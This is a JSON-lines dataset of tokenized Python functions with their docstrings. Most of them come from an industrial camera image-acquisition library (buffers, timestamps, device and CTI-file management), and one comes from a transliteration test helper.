{"signature": "@property<EOL><INDENT>def x_offset(self):  <DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.x_offset<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.offset_x<EOL><DEDENT><DEDENT>except InvalidParameterException:<EOL><INDENT>value = self._node_map.OffsetX.value<EOL><DEDENT>return value<EOL>", "docstring": ":return: The X offset of the data in the buffer in number of pixels from the image origin to handle areas of interest.", "id": "f8741:c7:m9"}
{"signature": "@property<EOL><INDENT>def y_offset(self):<DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.y_offset<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.offset_y<EOL><DEDENT><DEDENT>except InvalidParameterException:<EOL><INDENT>value = self._node_map.OffsetY.value<EOL><DEDENT>return value<EOL>", "docstring": ":return: The Y offset of the data in the buffer in number of pixels from the image origin to handle areas of interest.", "id": "f8741:c7:m10"}
{"signature": "@property<EOL><INDENT>def x_padding(self):<DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.x_padding<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.padding_x<EOL><DEDENT><DEDENT>except InvalidParameterException:<EOL><INDENT>value = <NUM_LIT:0><EOL><DEDENT>return value<EOL>", "docstring": "Returns\n:return: The X padding of the data component in the buffer in number of pixels.", "id": "f8741:c7:m11"}
{"signature": "@property<EOL><INDENT>def y_padding(self):<DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.y_padding<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.padding_y<EOL><DEDENT><DEDENT>except (InvalidParameterException, NotImplementedException):<EOL><INDENT>value = <NUM_LIT:0><EOL><DEDENT>return value<EOL>", "docstring": ":return: The Y padding of the data component in the buffer in number of pixels.", "id": "f8741:c7:m12"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__()<EOL>self._buffer = buffer<EOL>self._node_map = node_map<EOL>self._payload = self._build_payload(<EOL>buffer=buffer,<EOL>node_map=node_map,<EOL>logger=self._logger<EOL>)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c8:m0"}
{"signature": "@property<EOL><INDENT>def timestamp_ns(self):<DEDENT>", "body": "return self._buffer.timestamp_ns<EOL>", "docstring": ":return: The timestamp in nano-second.", "id": "f8741:c8:m4"}
{"signature": "@property<EOL><INDENT>def timestamp(self):<DEDENT>", "body": "timestamp = <NUM_LIT:0><EOL>try:<EOL><INDENT>timestamp = self._buffer.timestamp_ns<EOL><DEDENT>except (InvalidParameterException, NotImplementedException,<EOL>NotAvailableException):<EOL><INDENT>try:<EOL><INDENT>_ = self.timestamp_frequency<EOL><DEDENT>except InvalidParameterException:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>timestamp = self._buffer.timestamp<EOL><DEDENT>except (InvalidParameterException, NotAvailableException):<EOL><INDENT>timestamp = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>return timestamp<EOL>", "docstring": ":return: The timestamp in the TL specific unit.", "id": "f8741:c8:m5"}
{"signature": "@property<EOL><INDENT>def timestamp_frequency(self):<DEDENT>", "body": "<EOL>frequency = <NUM_LIT>  <EOL>try:<EOL><INDENT>_ = self._buffer.timestamp_ns<EOL><DEDENT>except (InvalidParameterException, NotImplementedException,<EOL>NotAvailableException):<EOL><INDENT>try:<EOL><INDENT>frequency = self._buffer.parent.parent.timestamp_frequency<EOL><DEDENT>except (InvalidParameterException, NotImplementedException,<EOL>NotAvailableException):<EOL><INDENT>try:<EOL><INDENT>frequency = self._node_map.GevTimestampTickFrequency.value<EOL><DEDENT>except (LogicalErrorException, NotImplementedException):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return frequency<EOL>", "docstring": ":return: The timestamp frequency which is used to represent a timestamp.", "id": "f8741:c8:m6"}
{"signature": "@property<EOL><INDENT>def payload_type(self):<DEDENT>", "body": "return self._buffer.payload_type<EOL>", "docstring": ":return: The payload type that the :class:`Buffer` object contains.", "id": "f8741:c8:m7"}
{"signature": "@property<EOL><INDENT>def payload(self):<DEDENT>", "body": "return self._payload<EOL>", "docstring": ":return: A containing object which derives from :class:`PayloadBase` class.", "id": "f8741:c8:m8"}
{"signature": "def queue(self):", "body": "<EOL>if _is_logging_buffer_manipulation:<EOL><INDENT>self._logger.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:.>'.format(<EOL>self._buffer.context,<EOL>self._buffer.frame_id,<EOL>self._buffer.parent.id_,<EOL>self._buffer.parent.parent.id_<EOL>)<EOL>)<EOL><DEDENT>self._buffer.parent.queue_buffer(self._buffer)<EOL>", "docstring": "Queues the buffer to prepare for the upcoming image acquisition. Once\nthe buffer is queued, the :class:`Buffer` object will be obsolete.\nYou'll have nothing to do with it.\n\nNote that you have to return the ownership of the fetched buffers to\nthe :class:`ImageAcquirer` object before stopping image acquisition\ncalling this method because the :class:`ImageAcquirer` object tries\nto clear the self-allocated buffers when it stops image acquisition.", "id": "f8741:c8:m9"}
{"signature": "def __init__(self, *, buffer=None, logger=None):", "body": "<EOL>assert buffer<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__()<EOL>self._buffer = buffer<EOL>self._components = []<EOL>", "docstring": ":param buffer:\n:param logger:", "id": "f8741:c9:m0"}
{"signature": "@property<EOL><INDENT>def payload_type(self):<DEDENT>", "body": "return self._buffer.payload_type<EOL>", "docstring": "TODO:\n:return:", "id": "f8741:c9:m1"}
{"signature": "@property<EOL><INDENT>def components(self):<DEDENT>", "body": "return self._components<EOL>", "docstring": ":return: A :class:`list` containing objects that derive from :const:`ComponentBase` class.", "id": "f8741:c9:m3"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c10:m0"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>self._components.append(<EOL>self._build_component(<EOL>buffer=buffer, node_map=node_map<EOL>)<EOL>)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c11:m0"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c12:m0"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c13:m0"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c14:m0"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c15:m0"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c16:m0"}
{"signature": "def __init__(self, *, buffer=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__(buffer=buffer, logger=self._logger)<EOL>for i, part in enumerate(self._buffer.parts):<EOL><INDENT>self._components.append(<EOL>self._build_component(<EOL>buffer=buffer, part=part, node_map=node_map<EOL>)<EOL>)<EOL><DEDENT>", "docstring": ":param buffer:\n:param node_map:\n:param logger:", "id": "f8741:c18:m0"}
{"signature": "def __init__(<EOL>self, *, parent=None, device=None,<EOL>profiler=None, logger=None,<EOL>sleep_duration=_sleep_duration_default,<EOL>file_path=None<EOL>):", "body": "<EOL>self._logger = logger or get_logger(name=__name__)<EOL>assert parent<EOL>assert device<EOL>super().__init__()<EOL>self._parent = parent<EOL>self._device = device<EOL>self._device.node_map = _get_port_connected_node_map(<EOL>port=self.device.remote_port, logger=self._logger,<EOL>file_path=file_path<EOL>)  <EOL>try:<EOL><INDENT>self._device.local_node_map = _get_port_connected_node_map(<EOL>port=self.device.local_port, logger=self._logger<EOL>)  <EOL><DEDENT>except RuntimeException as e:<EOL><INDENT>self._logger.error(e, exc_info=True)<EOL>self._device.local_node_map = None<EOL><DEDENT>self._interface = self._device.parent<EOL>try:<EOL><INDENT>self._interface.local_node_map = _get_port_connected_node_map(<EOL>port=self._interface.port, logger=self._logger<EOL>)<EOL><DEDENT>except RuntimeException as e:<EOL><INDENT>self._logger.error(e, exc_info=True)<EOL>self._interface.local_node_map = None<EOL><DEDENT>self._system = self._interface.parent<EOL>try:<EOL><INDENT>self._system.local_node_map = _get_port_connected_node_map(<EOL>port=self._system.port, logger=self._logger<EOL>)<EOL><DEDENT>except RuntimeException as e:<EOL><INDENT>self._logger.error(e, exc_info=True)<EOL>self._system.local_node_map = None<EOL><DEDENT>self._data_streams = []<EOL>self._event_new_buffer_managers = []<EOL>self._create_ds_at_connection = True<EOL>if self._create_ds_at_connection:<EOL><INDENT>self._setup_data_streams()<EOL><DEDENT>self._profiler = profiler<EOL>self._mutex = Lock()<EOL>self._thread_image_acquisition = _BuiltInThread(<EOL>mutex=self._mutex,<EOL>worker=self._worker_image_acquisition,<EOL>logger=self._logger,<EOL>sleep_duration=sleep_duration<EOL>)<EOL>self._threads = []<EOL>self._threads.append(self._thread_image_acquisition)<EOL>self._sigint_handler = None<EOL>if current_thread() is main_thread():<EOL><INDENT>self._sigint_handler = _SignalHandler(<EOL>event=self._event, threads=self._threads, logger=self._logger<EOL>)<EOL>signal.signal(signal.SIGINT, self._sigint_handler)<EOL>self._logger.info('<STR_LIT>')<EOL><DEDENT>self._num_filled_buffers_to_hold = <NUM_LIT:1><EOL>self._num_images_to_acquire = -<NUM_LIT:1><EOL>self._timeout_for_image_acquisition = <NUM_LIT:1>  <EOL>self._statistics = Statistics()<EOL>self._announced_buffers = []<EOL>self._holding_filled_buffers = []<EOL>self._has_acquired_1st_image = False<EOL>self._is_acquiring_images = False<EOL>self._keep_latest = True<EOL>self._min_num_buffers = self._data_streams[<NUM_LIT:0>].buffer_announce_min<EOL>self._num_buffers = max(<EOL><NUM_LIT:16>, self._data_streams[<NUM_LIT:0>].buffer_announce_min<EOL>)<EOL>self._signal_stop_image_acquisition = None<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(<EOL>self._device.id_<EOL>)<EOL>)<EOL>self._chunk_adapter = self._get_chunk_adapter(device=self._device)<EOL>self._on_new_buffer_arrival = None<EOL>self._finalizer = weakref.finalize(self, self._destroy)<EOL>", "docstring": ":param parent:\n:param device:\n:param profiler:\n:param logger:\n:param sleep_duration:\n:param file_path: (Optional) Set a path to camera description file which you want to load on the target node map instead of the one which the device declares.", "id": "f8741:c19:m0"}
{"signature": "@property<EOL><INDENT>def device(self):<DEDENT>", "body": "return self._device<EOL>", "docstring": ":return: The proxy :class:`Device` module object of the connecting remote device.", "id": "f8741:c19:m15"}
{"signature": "@property<EOL><INDENT>def interface(self):<DEDENT>", "body": "return self._interface<EOL>", "docstring": ":return: The parent :class:`Interface` module object of the connecting remote device.", "id": "f8741:c19:m16"}
{"signature": "@property<EOL><INDENT>def system(self):<DEDENT>", "body": "return self._system<EOL>", "docstring": ":return: The parent :class:`System` module object of the connecting remote device.", "id": "f8741:c19:m17"}
{"signature": "@property<EOL><INDENT>def is_acquiring_images(self):<DEDENT>", "body": "return self._is_acquiring_images<EOL>", "docstring": ":return: :const:`True` if it's acquiring images. Otherwise :const:`False`.", "id": "f8741:c19:m18"}
{"signature": "def start_image_acquisition(self):", "body": "if not self._create_ds_at_connection:<EOL><INDENT>self._setup_data_streams()<EOL><DEDENT>num_required_buffers = self._num_buffers<EOL>for data_stream in self._data_streams:<EOL><INDENT>try:<EOL><INDENT>num_buffers = data_stream.buffer_announce_min<EOL>if num_buffers < num_required_buffers:<EOL><INDENT>num_buffers = num_required_buffers<EOL><DEDENT><DEDENT>except InvalidParameterException as e:<EOL><INDENT>num_buffers = num_required_buffers<EOL>self._logger.debug(e, exc_info=True)<EOL><DEDENT>if data_stream.defines_payload_size():<EOL><INDENT>buffer_size = data_stream.payload_size<EOL><DEDENT>else:<EOL><INDENT>buffer_size = self.device.node_map.PayloadSize.value<EOL><DEDENT>raw_buffers = self._create_raw_buffers(<EOL>num_buffers, buffer_size<EOL>)<EOL>buffer_tokens = self._create_buffer_tokens(<EOL>raw_buffers<EOL>)<EOL>self._announced_buffers = self._announce_buffers(<EOL>data_stream=data_stream, _buffer_tokens=buffer_tokens<EOL>)<EOL>self._queue_announced_buffers(<EOL>data_stream=data_stream, buffers=self._announced_buffers<EOL>)<EOL><DEDENT>try:<EOL><INDENT>acq_mode = self.device.node_map.AcquisitionMode.value<EOL>if acq_mode == '<STR_LIT>':<EOL><INDENT>num_images_to_acquire = -<NUM_LIT:1><EOL><DEDENT>elif acq_mode == '<STR_LIT>':<EOL><INDENT>num_images_to_acquire = <NUM_LIT:1><EOL><DEDENT>elif acq_mode == '<STR_LIT>':<EOL><INDENT>num_images_to_acquire = self.device.node_map.AcquisitionFrameCount.value<EOL><DEDENT>else:<EOL><INDENT>num_images_to_acquire = -<NUM_LIT:1><EOL><DEDENT><DEDENT>except LogicalErrorException as e:<EOL><INDENT>num_images_to_acquire = -<NUM_LIT:1><EOL>self._logger.debug(e, exc_info=True)<EOL><DEDENT>self._num_images_to_acquire = num_images_to_acquire<EOL>try:<EOL><INDENT>self.device.node_map.TLParamsLocked.value = <NUM_LIT:1><EOL><DEDENT>except LogicalErrorException:<EOL><INDENT>pass<EOL><DEDENT>self._is_acquiring_images = True<EOL>for data_stream in self._data_streams:<EOL><INDENT>data_stream.start_acquisition(<EOL>ACQ_START_FLAGS_LIST.ACQ_START_FLAGS_DEFAULT,<EOL>self._num_images_to_acquire<EOL>)<EOL><DEDENT>if self.thread_image_acquisition:<EOL><INDENT>self.thread_image_acquisition.start()<EOL><DEDENT>self.device.node_map.AcquisitionStart.execute()<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(self._device.id_)<EOL>)<EOL>if self._profiler:<EOL><INDENT>self._profiler.print_diff()<EOL><DEDENT>", "docstring": "Starts image acquisition.\n\n:return: None.", "id": "f8741:c19:m28"}
{"signature": "def fetch_buffer(self, *, timeout=<NUM_LIT:0>, is_raw=False):", "body": "if not self.is_acquiring_images:<EOL><INDENT>raise TimeoutException<EOL><DEDENT>watch_timeout = True if timeout > <NUM_LIT:0> else False<EOL>buffer = None<EOL>base = time.time()<EOL>while buffer is None:<EOL><INDENT>if watch_timeout and (time.time() - base) > timeout:<EOL><INDENT>raise TimeoutException<EOL><DEDENT>else:<EOL><INDENT>with MutexLocker(self.thread_image_acquisition):<EOL><INDENT>if len(self._holding_filled_buffers) > <NUM_LIT:0>:<EOL><INDENT>if is_raw:<EOL><INDENT>buffer = self._holding_filled_buffers.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>_buffer = self._holding_filled_buffers.pop(<NUM_LIT:0>)<EOL>self._update_chunk_data(buffer=_buffer)<EOL>buffer = Buffer(<EOL>buffer=_buffer,<EOL>node_map=self.device.node_map,<EOL>logger=self._logger<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if _is_logging_buffer_manipulation:<EOL><INDENT>self._logger.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:.>'.format(<EOL>buffer._buffer.context,<EOL>buffer._buffer.frame_id,<EOL>buffer._buffer.parent.id_,<EOL>buffer._buffer.parent.parent.id_<EOL>)<EOL>)<EOL><DEDENT>return buffer<EOL>", "docstring": "Fetches the latest :class:`Buffer` object and returns it.\n\n:param timeout: Set timeout value in second.\n:param is_raw: Set :const:`True` if you need a raw GenTL Buffer module.\n\n:return: A :class:`Buffer` object.", "id": "f8741:c19:m31"}
{"signature": "def stop_image_acquisition(self):", "body": "if self.is_acquiring_images:<EOL><INDENT>self._is_acquiring_images = False<EOL>if self.thread_image_acquisition.is_running:  <EOL><INDENT>self.thread_image_acquisition.stop()<EOL><DEDENT>with MutexLocker(self.thread_image_acquisition):<EOL><INDENT>self.device.node_map.AcquisitionStop.execute()<EOL>try:<EOL><INDENT>self.device.node_map.TLParamsLocked.value = <NUM_LIT:0><EOL><DEDENT>except LogicalErrorException:<EOL><INDENT>pass<EOL><DEDENT>for data_stream in self._data_streams:<EOL><INDENT>try:<EOL><INDENT>data_stream.stop_acquisition(<EOL>ACQ_STOP_FLAGS_LIST.ACQ_STOP_FLAGS_KILL<EOL>)<EOL><DEDENT>except (ResourceInUseException, TimeoutException) as e:<EOL><INDENT>self._logger.error(e, exc_info=True)<EOL><DEDENT>data_stream.flush_buffer_queue(<EOL>ACQ_QUEUE_TYPE_LIST.ACQ_QUEUE_ALL_DISCARD<EOL>)<EOL><DEDENT>for event_manager in self._event_new_buffer_managers:<EOL><INDENT>event_manager.flush_event_queue()<EOL><DEDENT>if self._create_ds_at_connection:<EOL><INDENT>self._release_buffers()<EOL><DEDENT>else:<EOL><INDENT>self._release_data_streams()<EOL><DEDENT><DEDENT>self._has_acquired_1st_image = False<EOL>self._chunk_adapter.detach_buffer()<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(self._device.id_)<EOL>)<EOL><DEDENT>if self._profiler:<EOL><INDENT>self._profiler.print_diff()<EOL><DEDENT>", "docstring": "Stops image acquisition.\n\n:return: None.", "id": "f8741:c19:m37"}
{"signature": "def _destroy(self):", "body": "<EOL>if self._device:<EOL><INDENT>self._parent._destroy_image_acquirer(self)<EOL><DEDENT>", "docstring": "Destroys the :class:`ImageAcquirer` object. Once you called this\nmethod, all allocated resources, including buffers and the remote\ndevice, are released.\n\n:return: None.", "id": "f8741:c19:m38"}
{"signature": "def __init__(self, *, profile=False, logger=None):", "body": "<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__()<EOL>self._cti_files = []<EOL>self._producers = []<EOL>self._systems = []<EOL>self._interfaces = []<EOL>self._device_info_list = []<EOL>self._ias = []<EOL>self._has_revised_device_list = False<EOL>self._timeout_for_update = <NUM_LIT:1000>  <EOL>if profile:<EOL><INDENT>from harvesters._private.core.helper.profiler import Profiler<EOL>self._profiler = Profiler()<EOL><DEDENT>else:<EOL><INDENT>self._profiler = None<EOL><DEDENT>if self._profiler:<EOL><INDENT>self._profiler.print_diff()<EOL><DEDENT>self._finalizer = weakref.finalize(self, self._reset)<EOL>", "docstring": ":param profile:\n:param logger:", "id": "f8741:c20:m0"}
{"signature": "@property<EOL><INDENT>def cti_files(self):<DEDENT>", "body": "return self._cti_files<EOL>", "docstring": ":return: A :class:`list` object containing :class:`str` objects.", "id": "f8741:c20:m4"}
{"signature": "@property<EOL><INDENT>def device_info_list(self):<DEDENT>", "body": "return self._device_info_list<EOL>", "docstring": ":return: A :class:`list` object containing :class:`DeviceInfo` objects", "id": "f8741:c20:m5"}
{"signature": "def create_image_acquirer(<EOL>self, list_index=None, *, id_=None,<EOL>vendor=None, model=None, tl_type=None, user_defined_name=None,<EOL>serial_number=None, version=None,<EOL>sleep_duration=_sleep_duration_default, file_path=None,<EOL>privilege='<STR_LIT>'<EOL>):", "body": "<EOL>if self.device_info_list is None:<EOL><INDENT>return<EOL><DEDENT>if list_index is not None:<EOL><INDENT>device = self.device_info_list[list_index].create_device()<EOL><DEDENT>else:<EOL><INDENT>keys = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT:version>',<EOL>]<EOL>candidates = self.device_info_list.copy()<EOL>for key in keys:<EOL><INDENT>key_value = eval(key)<EOL>if key_value:<EOL><INDENT>items_to_be_removed = []<EOL>for item in candidates:<EOL><INDENT>try:<EOL><INDENT>if key_value != eval('<STR_LIT>' + key):<EOL><INDENT>items_to_be_removed.append(item)<EOL><DEDENT><DEDENT>except (AttributeError, NotAvailableException) as e:<EOL><INDENT>self._logger.warn(e, exc_info=True)<EOL>pass<EOL><DEDENT><DEDENT>for item in items_to_be_removed:<EOL><INDENT>candidates.remove(item)<EOL><DEDENT><DEDENT><DEDENT>num_candidates = len(candidates)<EOL>if num_candidates > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>elif num_candidates == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>device = candidates[<NUM_LIT:0>].create_device()<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if privilege == '<STR_LIT>':<EOL><INDENT>_privilege = DEVICE_ACCESS_FLAGS_LIST.DEVICE_ACCESS_EXCLUSIVE<EOL><DEDENT>elif privilege == '<STR_LIT>':<EOL><INDENT>_privilege = DEVICE_ACCESS_FLAGS_LIST.DEVICE_ACCESS_CONTROL<EOL><DEDENT>elif privilege == '<STR_LIT>':<EOL><INDENT>_privilege = DEVICE_ACCESS_FLAGS_LIST.DEVICE_ACCESS_READONLY<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'.format(privilege)<EOL>)<EOL><DEDENT>device.open(_privilege)<EOL><DEDENT>except (<EOL>NotInitializedException, InvalidHandleException,<EOL>InvalidIdException, ResourceInUseException,<EOL>InvalidParameterException, NotImplementedException,<EOL>AccessDeniedException,<EOL>) as e:<EOL><INDENT>self._logger.debug(e, exc_info=True)<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>self._logger.info(<EOL>'<STR_LIT>'.format(device.id_)<EOL>)<EOL>ia = ImageAcquirer(<EOL>parent=self, device=device, profiler=self._profiler,<EOL>logger=self._logger, sleep_duration=sleep_duration,<EOL>file_path=file_path<EOL>)<EOL>self._ias.append(ia)<EOL>if self._profiler:<EOL><INDENT>self._profiler.print_diff()<EOL><DEDENT><DEDENT>return ia<EOL>", "docstring": "Creates an image acquirer for the specified remote device and return\nthe created :class:`ImageAcquirer` object.\n\n:param list_index: (Optional) Set an item index of the list of :class:`DeviceInfo` objects.\n:param id_: (Optional) Set an index of the device information list.\n:param vendor: (Optional) Set a vendor name of the target device.\n:param model: (Optional) Set a model name of the target device.\n:param tl_type: (Optional) Set a transport layer type of the target device.\n:param user_defined_name: (Optional) Set a user defined name string of the target device.\n:param serial_number: (Optional) Set a serial number string of the target device.\n:param version: (Optional) Set a version number string of the target device.\n:param sleep_duration: (Optional) Set a sleep duration in second that is inserted after the image acquisition worker is executed.\n:param file_path: (Optional) Set a path to camera description file which you want to load on the target node map instead of the one which the device declares.\n:param privilege: (Optional) Set an access privilege. `exclusive`, `contorl`, and `read_only` are supported. The default is `exclusive`.\n\n:return: An :class:`ImageAcquirer` object that associates with the specified device.\n\nNote that you have to close it when you are ready to release the\ndevice that you have been controlled. As long as you hold it, the\ncontrolled device will be not available from other clients.", "id": "f8741:c20:m10"}
{"signature": "def add_cti_file(self, file_path: str):", "body": "if not os.path.exists(file_path):<EOL><INDENT>self._logger.warning(<EOL>'<STR_LIT>'.format(file_path)<EOL>)<EOL><DEDENT>if file_path not in self._cti_files:<EOL><INDENT>self._cti_files.append(file_path)<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(file_path)<EOL>)<EOL><DEDENT>", "docstring": "Adds a CTI file to work with to the CTI file list.\n\n:param file_path: Set a file path to the target CTI file.\n\n:return: None.", "id": "f8741:c20:m11"}
{"signature": "def remove_cti_file(self, file_path: str):", "body": "if file_path in self._cti_files:<EOL><INDENT>self._cti_files.remove(file_path)<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(file_path)<EOL>)<EOL><DEDENT>", "docstring": "Removes the specified CTI file from the CTI file list.\n\n:param file_path: Set a file path to the target CTI file.\n\n:return: None.", "id": "f8741:c20:m12"}
{"signature": "def remove_cti_files(self):", "body": "self._cti_files.clear()<EOL>self._logger.info('<STR_LIT>')<EOL>", "docstring": "Removes all CTI files in the CTI file list.\n\n:return: None.", "id": "f8741:c20:m13"}
{"signature": "def _reset(self):", "body": "<EOL>for ia in self._ias:<EOL><INDENT>ia._destroy()<EOL><DEDENT>self._ias.clear()<EOL>self._logger.info('<STR_LIT>')<EOL>self.remove_cti_files()<EOL>self._release_gentl_producers()<EOL>if self._profiler:<EOL><INDENT>self._profiler.print_diff()<EOL><DEDENT>self._logger.info('<STR_LIT>')<EOL>", "docstring": "Initializes the :class:`Harvester` object. Once you reset the\n:class:`Harvester` object, all allocated resources, including buffers\nand remote device, will be released.\n\n:return: None.", "id": "f8741:c20:m16"}
{"signature": "def update_device_info_list(self):", "body": "<EOL>self._release_gentl_producers()<EOL>try:<EOL><INDENT>self._open_gentl_producers()<EOL>self._open_systems()<EOL>for system in self._systems:<EOL><INDENT>system.update_interface_info_list(self.timeout_for_update)<EOL>for i_info in system.interface_info_list:<EOL><INDENT>iface = i_info.create_interface()<EOL>try:<EOL><INDENT>iface.open()<EOL><DEDENT>except (<EOL>NotInitializedException, ResourceInUseException,<EOL>InvalidHandleException, InvalidHandleException,<EOL>InvalidParameterException, AccessDeniedException,<EOL>) as e:<EOL><INDENT>self._logger.debug(e, exc_info=True)<EOL><DEDENT>else:<EOL><INDENT>self._logger.info(<EOL>'<STR_LIT>'.format(iface.id_)<EOL>)<EOL>iface.update_device_info_list(self.timeout_for_update)<EOL>self._interfaces.append(iface)<EOL>for d_info in iface.device_info_list:<EOL><INDENT>self.device_info_list.append(d_info)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>except LoadLibraryException as e:<EOL><INDENT>self._logger.error(e, exc_info=True)<EOL>self._has_revised_device_list = False<EOL><DEDENT>else:<EOL><INDENT>self._has_revised_device_list = True<EOL><DEDENT>self._logger.info('<STR_LIT>')<EOL>", "docstring": "Updates the device information list. You'll have to call this method\nevery time you added CTI files or plugged/unplugged devices.\n\n:return: None.", "id": "f8741:c20:m21"}
{"signature": "def _destroy_image_acquirer(self, ia):", "body": "id_ = None<EOL>if ia.device:<EOL><INDENT>ia.stop_image_acquisition()<EOL>ia._release_data_streams()<EOL>id_ = ia._device.id_<EOL>if ia.device.node_map:<EOL><INDENT>if ia._chunk_adapter:<EOL><INDENT>ia._chunk_adapter.detach_buffer()<EOL>ia._chunk_adapter = None<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(<EOL>id_<EOL>)<EOL>)<EOL><DEDENT>ia.device.node_map.disconnect()<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(<EOL>id_<EOL>)<EOL>)<EOL><DEDENT>if ia._device.is_open():<EOL><INDENT>ia._device.close()<EOL>self._logger.info(<EOL>'<STR_LIT>'.format(id_)<EOL>)<EOL><DEDENT><DEDENT>ia._device = None<EOL>if id_:<EOL><INDENT>self._logger.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(id_)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self._logger.info(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if self._profiler:<EOL><INDENT>self._profiler.print_diff()<EOL><DEDENT>self._ias.remove(ia)<EOL>", "docstring": "Releases all external resources including the controlling device.", "id": "f8741:c20:m22"}
{"signature": "def _compare_all_data_between_schemes(_from, _to):", "body": "def compare_group(_from, _to, group):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>source = DATA[_from][group]<EOL>actual = '<STR_LIT:U+0020>'.join(sanscript.transliterate(source, _from, _to).split())<EOL>expected = '<STR_LIT:U+0020>'.join(DATA[_to][group].split())<EOL>assert expected == actual, \"<STR_LIT>\" % (_from, _to, expected, actual)<EOL><DEDENT>for group in DATA[_from]:<EOL><INDENT>if _to in DATA and group in DATA[_to]:<EOL><INDENT>compare_group(_from, _to, group)<EOL><DEDENT><DEDENT>", "docstring": "Compare all data for `_from` and `_to`", "id": "f8751:m0"}
